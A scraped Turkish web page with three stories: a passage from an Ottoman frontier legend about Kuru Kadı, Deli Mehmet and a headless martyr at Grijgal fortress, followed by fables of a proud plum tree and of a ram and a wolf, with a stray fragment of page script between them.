çevirmişti. Türkçe bağırdılar:
– Size teklifimiz var. Elçimizi içeri alır mısınız? Kuru Kadı:
– Alırız. Gönderin, gelsin! cevabını verdi.Bedenler, kalkanlı, tüfekli, oklu gazilerle dolmuştu.Palankanın ruhu, neşesi, keyfi olan iki arkadaş, bu esnada tuhaf tuhaf laflar söyleyip yine herkesi güldürüyordu. Bunların ikisine de “deli” derlerdi: Deli Mehmet,Deli Hüsrev… Serhatın muharebelerinde, hayale sığmayacak yararlılıklarıyla masal kahramanları gibi inanılmaz bir şöhret kazanan bu iki deli, hiçbir nizama hiçbir kayda, hiçbir disipline girmeyen, dünya şerefinde gözleri olmayan Anadolu dervişlerindendi. Her zaferden sonra kumandanlar onlara rütbe, hil’at, murassa kılıç gibi şeyler vermeye kalkınca gülerler: “İstemeyiz, fani vücuda kefen gerektir. Hil’at nadanları sevindirir…” derler, hak uğrundaki gayretlerine ücret, mükafat, övgü kabul etmezlerdi. Harp onların bayramıydı. Tüfekler, oklar, atılmağa; toplar gürlemeğe; kılıçlar,kalkanlar şakırdamağa başladı mı, hemen coşarlar, kendilerinden geçerler; naralar savunarak düşman saflarına saldırırlar… alevi gözlerle takip edilemeyen birer canlı yıldırım olup tutuşurlardı. Kuru Kadı, onların herkesi güldüren münakaşalarını, saçma sapan sözlerini gülümseyerek dinlerken, elçiyi yanına getirdi, iki deli de sustu. Herkes kulak kesildi. Bu elçi Türkçe biliyordu. Küstahça tekliflerini söyledi. Palankayı saran Zigetvar kumandanı Kıraçin’di. Yanında iki bine yakın savaşçısı vardı. Grijgal’in “Vire ile verilmesini istiyordu. Ateşe, nura, haça, İncil”e, Zebur’a yemin ediyor; çıkıp giderlerken muhafızlara hiçbir ziyanı dokunmayacağına dair söz veriyordu. Kuru Kadı:
– Pekâlâ!… Haydi git. Biz aramızda anlaşalım, kararımızı size öğleden sonra bildiririz! diye elçiyi aşağı gönderip kapıdan attırdı. Sonra etrafındakilere döndü. Şöyle bir göz gezdirdi. Sırtının hafif kamburu içeri çekildi:
– İşittiniz ya, gaziler! dedi, Kıraçin haini bizim yüzon kişiden ibaret olduğumuzu anlamış… üzerimize iki bin kişi ile geldi. Teklif ettiği “Vire”yi kabul etmek isteyenler vârsa ellerini kaldırsın! Kimsenin eli kalkmadı.
– Öyleyse hazır olalım. Haydi… Bir gürültüdür koptu;
– Hazırız…
– Hepimiz, hepimiz…
– Hepimiz, hepimiz hazırız.
– Kılıçlarımız, kalkanlarımız yağlı. -Oklarınız havlı_
– Yatağanlarınız keskin…
– Bugün nusret bizim.
– Amin, amin… Kuru Kadı, “Ey alemlerin rabbi” diye ellerini kaldırdı. Bir duaya başlayacaktı. Deli Mehmet yalın kılıç karşısına dikildi. Palabıyık, gök gözlü, geniş beyaz çehresi,yeni doğmuş bir ay gibi parlıyordu:
– Duayı bırak, efendi dedi, gaza duadan faziletlidir. Gel… Lütfet. Bize şu kapıyı aç. Kalbindeki korkuyu at. İşte hepimiz hazırız. Şu ayağımıza gelen gaza fırsatını kaçırmayalım. Kuru Kadı’nın elleri aşağı düştü. Deli Hüsrev de arkadaşının yanına sokulmuştu. Bütün gaziler bu iki delinin arkasına üşüştü. Sanki hepsi bir anda deli oldular… bir ağızdan.
– Aç bize kapıyı, aç… diye bağırmaya başladılar.Kuru Kadı’nın iri patlak gözleri yaşardı. Yüzü sapsarı oldu. Uzun siyah sakalı kımıldadı. İki deliyi bile titreten, bütün gazilerin saçlarını ürperten ilahi bir ağıt ahengi kadar etkili sesiyle haykırdı.
– Meydan erleri! Ey mertler! Padişahımız Süleyman Gazi aşkına şu sözümü dinleyin. Benim muradım sizi gazadan engellemek değildir. Bugün can, baş feda olsun… Özellikle yarın kurban bayramı… Fakat bakınız maksadım ne? Bugün cuma… hem de arife. Bugün hacılarımız Arafat’ta, diğer mü’minler camilerde bizim gibi gazilerin zaferi için dua etmekteler… Bunda şüphesi olan var mı?
– Hayır.
– Hayır, asla…
– Hayır.
– O halde münasip olan budur ki, biz de namazlarımızı eda edelim. Gözlerimizin yaşını dökelim. Dua edelim. Birbirimizle halelleşelim. Sonra gazaya girişelim. Kalanlarımız gazi, ölenlerimiz şehit olsun! Dünyada iyi nam ile anılalım. Ahirette peygamberimizin âlemi dibinde toplanalım… Ne dersiniz?
– Hay hay!
– Uygun…
– Pekâlâ! Gazilerin hepsi buna razı oldu. Öğleye kadar durdular. Abdest aldılar, namaz kıldılar, tekbir çektiler, helallaştılar. Kıraçin’in askeri, sardıkları palankadan yükselen derin uğultuyu hep teklif ettikleri “Vire” münakaşasının gürültüsü sanıyorlardı. Ansızın, uzaktaki Türk kulelerinden atılan “işaret topları” işitildi. Bu, “Biz, dörtnala geliyoruz” demekti. Kuru Kadı eliyle hisarın kapısını açtı. Grijal gazileri “Allah, Allah” naralarıyla müthiş bir taşkın deniz gibi fışkırdılar. İki koldan hücum olunuyordu. Kollardan birisine Deli Hüsrev, birisine Deli Mehmet baş olmuştu. Ovada, Grijgal’e gelen yollardan bir toz dumanıdır kalkıyordu. Nice bin atlı imdada koşuyor sanılırdı. Düşman, bu hali görünce şaşırdı. İki ateş arasında kaldığını anladı. Halbuki toz duman içinde yaklaşan ancak beş on gaziydi. … Bozgun başladı. Deli Mehmet’le Deli Hüsrevin takımları düşmanı kaçırmamak için iyice sarıyordu. Kara Kadı cübbesini atmış. Elindeki kılıç, cesaretlendirdiği gazileri arkasından yürüyordu. Deli Hüsrev, bir sarhoş gibi Kıraçin’inalayına dalmış kesiyor, kesiyor… inanılmaz bir çabuklukla kaçanlara yetişiyor, ikiye biçiyordu. Kuru Kadı’nın gözleri Deli Mehmet’i aradı. Bakındı, bakındı. Göremedi. Acaba o muydu? Yüreği ağzına geldi. Düşman safına karışıp kaynaşan kolun arkasında iri bir vücut yere uzanmıştı… Elli altmış adım kadar kendisinden uzaktı… Siyah, yüksek atlı bir şövalye, uzun bir kargıyı bu uzanmış vücuda saplıyordu. Durmadı. İlerledi. Koşarken ayağı bir taşa takıldı. Yuvarlanıyordu. Kılıcı ile fırladı. Hemen toplandı. Kalktı. Düşen kılıcını aldı. Doğruldu. Koşacağı tarafa baktı. Şövalye atından inmiş,kargıladığı şehidin başını teninden ayırmıştı. Bu anda,bu kestiği baş elinde, yine siyah bir şeytan gibi şahlanan atma sıçradı. Kaçacaktı… Kuru Kadı, bütün kuvvetiyle ona yetişmek için koşarken, baktı ki sol ilerisinde Deli Hüsrev kalkanını sallayarak, avazı çıktığı kadar bağırıyor,
– Mehmet, Mehmet!… Canını verdin!… Bâşını verme Mehmet!… Bu nara o kadar müthiş, o kadar tesirli, o kadar yanıktı ki… Kuru Kadı: “Vah Deli Mehmet’miş!” diye olduğu yerde dikildi kaldı. Durur durmaz, o an, kırk adım kadar yaklaştığı kesik başlı şehidin yerden fırladığını gördü. Nefesi tutuldu. Şaşırdı. Bu başsız vücut uçar gibi koşuyordu. Kendi kellesini götüren zırhlı şövalyeye yetişti. Eliyle öyle bir vuruş vurdu ki… Lanetli hemen yüksek atından tepesi üstü yuvarlandı. Götürmek istediği baş elinden yere düştü. Deli Mehmet’in başsız vücudu canlıymış gibi eğildi. Yerden kendi kesik başını aldı. Hemen oracığa yorgun bir kahraman gibi, uzanıverdi. Bunu Kuru Kadı’dan başka kimse görmemişti. Herkes kaçan düşmanı kovalıyordu. Yalnız Deli Hüsrev,
– Yüzün ak olsun, ey yiğit! diye bağırdı. Sonra Kuru Kadı’ya doğru koşarak sordu.
– Nasıl, gördün mü bu civanı?
– Görmedin mi? Kuru kadı sesini çıkaramadı. Gördüğü harika onu dondurmuştu. Olduğu yerde öyle dimdik kaldı. Sanki ölmüştü. Deli Hüsrev, onu hızla sarstı.
– Ne durursun be can! Ne olsun, haydi gazaya. Düşman kaçıyor… Deli Hüsrev’in kalkması Kuru Kadı’yı baştan can verdi, “Allah Allah” diyerek ileri atıldı. Mücahitlere karıştı. Cenk akşama kadar sürdü. Er meydanının kanlı yüzüne “gece siyah saçlarını” dağıtırken çağırıcının
– Gaziler hisara! Sesi duyuldu. Dönen gaziler içinde kılıcından kanlar damlayan Kuru Kadı, birkaç sipahi ile dışarıda kaldı. Yaralıları taşıttı. Şehit olanları saydırdı. Bunlar tam ondokuz kahramandı.:. Düşman altmış dört ceset bırakmış, diğer ölülerinin hepsini kaçırmıştı. Kuru Kadı sabahtan beri yemek yememiş, su içmemiş, durup dinlenmemişti… Toplattığı şehitleri hisarın önündeki meydana yığdırdı. Şehit Deli Mehmet’in cesedini kendi buldu. Kesik başı koltuğunda, uyur gibi, sakin yatıyordu. Olduğu yerde gömdürdü. Sonra yanındakileri. savdı. Butaze mezarın başına çöktü. Ezberden “Yasin” okumağa başladı. Dışarılarda kimse yoktu, yalnız uzakta palanka kapısındaki nöbetçi dolaşıyordu. Kuru Kadı okurken, önündeki mezarın birden yeşil yeşil nurlarla tutuştuğunu gördü. Sesi kısıldı. Dudaklarını oynatamadı.Çeneleri kitlendi. Bu yeşil nurun içinde Deli Mehmet’in kanlı boynuna sarılmış beyaz kanatlı bir melaike, hem onu nurdan elleriyle okşuyor, hem açık alnını öpüyordu. Bu sıcak, bu yeşil nur büyüdü, taştı, bütün âlem bu nurun içinde kaldı. Kuru Kadı’nın gözleri kamaştı. Ruhu yandı. Kendinden geçti. Onu, daha ilk defa böyle derin bir uykuya dalmış gören yoldaşları zorla kaldırdılar. Koltuklarına girdiler:
– Haydi, kapı kapanacak dediler, içeri gir. Kuru Kadı’nın dili tutulmuştu. Cevap veremedi. Sarhoş gibi sallana sallana hisara girdi. Hâlâ titriyordu. Palankanın içinde Deli Hüsrev’in menzilinden geçerken durdu. Kulak verdi; ağlıyor mu, inliyor mu diye… Hayır, Deli şıkır şıkır atını kaşağılıyor, keyifli bir türkü söylüyordu. Seslendi:
– Hüsrev.
– Efendim?… Kapı açıldı. Kaşağı elinde, kolları, paçaları sıvalı,başı kabak Deli Hüsrev… daha Kuru Kadı bir şey sormadan,
– Gördün mü Deli Mehmet’in zevkini? dedi.
– Siz de benim gibi buradan gördünüz mü?
– “Gözlüye hotti gizli yoktur!” Küttedek kapıyı, kapadı. Yine türküsüne başladı. … Kuru Kadı palankada sabahı dar etti. Güneş doğmadan, Deli Mehmet’in mezarına koştu. Artık bütün günlerini bu mezarın başında geçiriyordu. Bu mezarın daimi ziyaretçisi oldu. Büyük bir taş yontturdu. Yazdırdı. Başına diktirdi. Beş vakit namazlarını bile cemaatine bu kabrin başında kıldırmak isterdi. Artık ne hacet dilese, ona nail oluyordu. Grijgal’de, komşu palankalarda Kuru Kadı için “Deli oldu” diyorlardı. Her an “sonsuzluk” badesini içmiş ezeli. bir sarhoş gibi nihayetsiz bir kendinden geçme,sonsuz sınırsız bir şevk, sükûn bulmaz bir heyecan içinde yaşıyordu. Fakat nasıl “deniz çanağa sığmaz”sa,onun büyük sırrı da ruhuna sığmadı. Taştı. Huruç günü gördüğü harikayı herkese anlatmağa başladı. Hatta daha ileri gitti, çok iyi okuduğu “Mevlid-i Şerif” lisanıyla o gün gördüğünü yazdı. Yüzlerce beyitlik bir destan düzdü. Ama o eski şevki kayboluverdi. Ruhuna koyu bir karanlık doldu. Kalbine acı bir ağırlık çöktü. Artık Deli Mehmet’in yeşil nurdan mezarı içinde sürdüğü ilahi zevki göremez oldu. Bu mahrumiyet onu delirtti. Yemekten içmekten kesildi. Bir gün, yine perişan kırlarda dolaşırken Deli Hüsreve rast geldi. Meğer o da geziniyormuş. Elindeki yayıyla yavaşça Kuru Kadı’nın arkasına dokundu.
– Ahmak, dedi, niye gördüğünü halka söyledin? Adam gördüğünü kaale geçirirse kazandığı hali kaybeder. Eğer sussaydın, gördüğün keramete ölünceye kadar şahit olacaktın… Kuru Kadı yere diz çöktü, ağlamaya başladı:
– Çok perişanım diye inledi, lütfet. Gel, beni gaflet uykusundan uyandır. Benim o görnüş olduğum durum ne hikmettir? İçinde benimle senden başka onu gören oldu mu?
– Bir gören daha var. O “can” herkese görünmez.
– Kimdir?
– Bilemezsin…
– Başkaları görmedi de, biz ikimiz niçin gördük?
– o şehitlik müjdesidir!” İkimiz de mutlaka şehit düşeceğiz!… Kuru Kadı, gittikçe öyle serseri, öyle perişan, öyle berbat oldu ki… kendisini o kadar seven Vali Ahmet Bey bile Budin’den gelince, onun hallerine dayanamadı.Nihayet “bu deli bir kişidir. Palankada hizmetinden istifade olunamaz” diye geriye göndermeye mecbur oldu.Aradan epey zaman geçti. Serhadde değil, hatta Grijgal hisarında bile herkes Kuru Kadı’yı unuttu. Yalnız yazdığı destan okunuyor, hiç unutulmuyordu. On iki sene sonra… Zigetvarın zaptı akabinde yaralılar toplanırken, meşhur kahraman Deli Hüsrevin bir gülleyle parçalanmış cesedi yanında, uzun boylu, ak saçlı, ak sakallı,yeşil cübbeli bir şehit buldular. Kıbleye yüzükoyun uzanmış yatan bu şehidin büyük, yeşil sarığı, henüz bozulmamıştı. Üzerinde hiçbir silah yoktu. Yarası neresinden olduğu belli değildi. Günlerce süren kuşatma esnasında hiç kimse böyle bir adam görmemişti. İnceden inceye araştırma yapıldı. Kim olduğu bir türlü anlaşılamadı. O vakit birçok gazilerin “gayb ordusundan imdada gelmiş bir veli” sandıkları bu şehit, acaba, Grijgal hisarının o eski deli kadısı mıydı?…

Kibirli Erik Ağacı
Kibirli Erik Ağacı

Kibirli Erik Ağacı

Henüz bahar gelmemiş olmasına rağmen havalar o yıl çok güzel gidiyordu. Havaların erken ısınmasına kanan erik ağacı baharın gelmesini beklemeden çiçek açmaya başladı. Amacı diğer arkadaşlarından önce meyvelerini verip bahçe sahibinin gözüne girmekti. Günden güne dalları yemyeşil yapraklar ve çiçeklerle süslenmeye başladı. Diğer ağaçlar kuru dallarıyla ona imrenerek bakmaya başladılar. Sadece bahçedeki ağaçlar değil, yoldan geçen insanlar bile gözlerini ondan alamıyorlardı. Herkesin ona ilgiyle bakması erik ağacını kibirlendirmişti. Diğer ağaçlara yüksekten bakıyor, erken davranmakla ne kadar akıllılık ettiğini düşünüyordu.

Derken bir gün hava ansızın soğumaya ve şiddetli bir yağmur yağmaya başladı. Bardaktan boşanırcasına yağan yağmur ve esen rüzgarlar erik ağacının tüm çiçeklerini döktü. Diğer ağaçlar henüz çiçek açmadıkları için onların açısından sorun yoktu ama erik ağacının dallarında tek bir yaprak bile kalmamıştı. Birkaç gün sonra güneş bulutların arasından çıktı ve kuşlar baharı müjdeledi. Bahçedeki tüm ağaçlar yavaş yavaş yeşerip çiçek açmaya başladılar. Onlar günden güne güzelleşirken erik ağacı öylece kuru dallarıyla kalakaldı. Derken diğer ağaçlar ilk meyvelerini verdiler. Erik ağacı; ” erken çiçek açmakla akıllılık ettiğimi zannetmekle yanılmışım. ” diye düşünüp ağlıyordu. Bahçe sahibi ağaçlardan meyveleri toplayıp onları severken, erik ağacına kızgın bir şekilde bakıyordu. Bu durum erik ağacını çok üzüyordu artık her gün yaptığı hatayı düşünüp ağlıyordu. Zamanında kibirlendiği için ona çok kızmış olan elma ağacı sonunda dayanamadı ve erik ağacıyla konuşmaya karar verdi. Erik ağacına onun kendilerine yaptığı gibi küçümser değil tam aksine şevkatle yaklaştı. ” Sevgili erik ağacı yeter artık günlerdir kendini üzdüğün, ağlama ” dedi. Onun bu sevgi dolu yaklaşımı erik ağacını utandırmıştı, mahçup bir şekilde; ” zamanından önce çiçek açtım, bunu yaptığım için kendimi akıllı zannedip sizlere yüksekten baktım, şimdi bunun cezasını çekiyorum. ” dedi. Elma ağacı erik ağacını teselli ederek; ” Henüz çok gençsin böyle hatalar yapabilirsin. Emin ol biz de senin bu durumuna çok üzüldük. Ama bu da sana ders olsun sevgili erik ağacı. Bundan sonra her işini zamanında yap. ” diyerek ona sevgi dolu baktı. Erik ağacıda ; ” bir daha her işimi zamanında yapacağım sevgili arkadaşlarım, sizleri üzdüğüm için özür diliyorum ” dedi. Bu pişmanlığı karşısında bahçedeki tüm ağaçlar erik ağacını affettiler ve yeniden onunla dost oldular.document.currentScript.parentNode.insertBefore(s, document.currentScript);

Koç ve Kurt Masalı
Koç ve Kurt Masalı

Küçük Kurdun İntikamı

Baba koç o gün çok sinirliydi. Çoban Efe bunu görünce dayanamayıp sormuş, “Hayırdır baba koç, ne oldu, neden bu kadar sinirlisin.” Baba koç çobanın yanına oturarak “Nasıl sinirli olmayayım. Dereye su içmeye indiğimde küçük bir kurt yavrusu gördüm. Tam yakaladım öldürecektim, beni oyalayıp birden kaçtı. O biraz büyüdüğünde benim karıma, çocuklarıma, torunlarıma saldırabilirdi oysa.” Çoban koçun üzüntüsünü insan olduğu için tam olarak anlayamasa da onu teselli etmeye çalışmış.

Bu olayın üzerinden iki yıl geçmiş. Son 1 yıldır etrafta nam salan kızıl başlı kurt ve sürüsü, çevrede neredeyse hiç koyun sürüsü bırakmamış. Çoban kızıl kurtun korkusundan dışarı çıkmak istemeyen sürüsünü zorla 1 2 saatliğine dışarı çıkarmış. “Korkmayın, köpeklerimiz bizi korur. Sürekli ağılda kalamazsınız açlıktan öleceksiniz.” demiş. Hayvanlar önce biraz ürkse de alışıp otlamaya başlamış. Tam bu sırada kızıl kurt ve ordusu saldırmak için hazırmış. Kızıl kurt, “Civardaki son sürü bu. Şimdi inip onları da talan edeceğiz. Ancak sadece baba koçu bırakın bana. Beni küçükken koavalyıp korkutmuştu, şimdi de o korksun bakalım.” demiş.

Kurt sürüsü hep birlikte ilk önce çoban köpeklerine saldırmış. Biraz direnen köpekler, sayıları fazla olan kurtlara yenik düşmüş. Köpekleri geçen kurtlar koçlara, koyunlara ve en son olarak da kuzulara girişmişler. Ne kadar karşı koymaya çalışsalar da koyunlar başarılı olamamış ve yenik düşmüşler. Etraftaki tüm köpek, koç, koyun ve kuzular öldürülmüş. Bir tek baba koç hariç… Kızıl kurt dağlardan inmiş ve baba koçun yanına gelmiş. “Hey gidi günler hey…” demiş. Koç kurdu tanımış.

“Hatırlıyor musun ihtiyar, bundan tam 2 yıl önceydi yine karşılaşmıştık. Yine birimiz titriyordu korkudan diğerimiz gülüyordu. Ama şimdi işler biraz değişti, bu sefer gülen sen değil, benim.” Baba koç 2 yıl öce elinden kaçırdığı kurdun intikam için yöredeki tüm sürüleri yok etmesine çok şaşırmış. Ve tabi kendisini öldürmemesine de.

“Ben 2 yıl önce kendi aklımla elinden kurtuldum. Sende şimdi aklını kullanabilirsen kurtulabilirsin elimizden. Seninle teke tek savaşacağım, eğer beni yenersen ordum sana bir şey yapmayacak.”

Baba koçun bunu kabul etmektan başka çaresi yoktu. Bacakları korkudan ve yorgunluktan titrese de kurda sonuna kadar direnmiş. Kurdun güçlü dişlerinden aldığı darbeler öldürücü değilmiş daha ancak çok can yakıcıymış. Birden aklına kurtların narin mideleri ve kendilerinin güçlü boynukları gelmiş. Tüm gücü ile kurdun midesine bir darbe vurmuş ve kurt cansız bir şekilde yere yığılmış. Komutanlarının yerde ölü yattığını gören diğer kurtlar korkudan dağa kaçmış ve baba koç hayatta kalmış. Olan biteni ağaç üzerinden izleyen çoban, “Hey gidi eski dostum, hey. Sen neymişsin ya.” demiş ve koçu sırtına alarak köye doğru yol almış.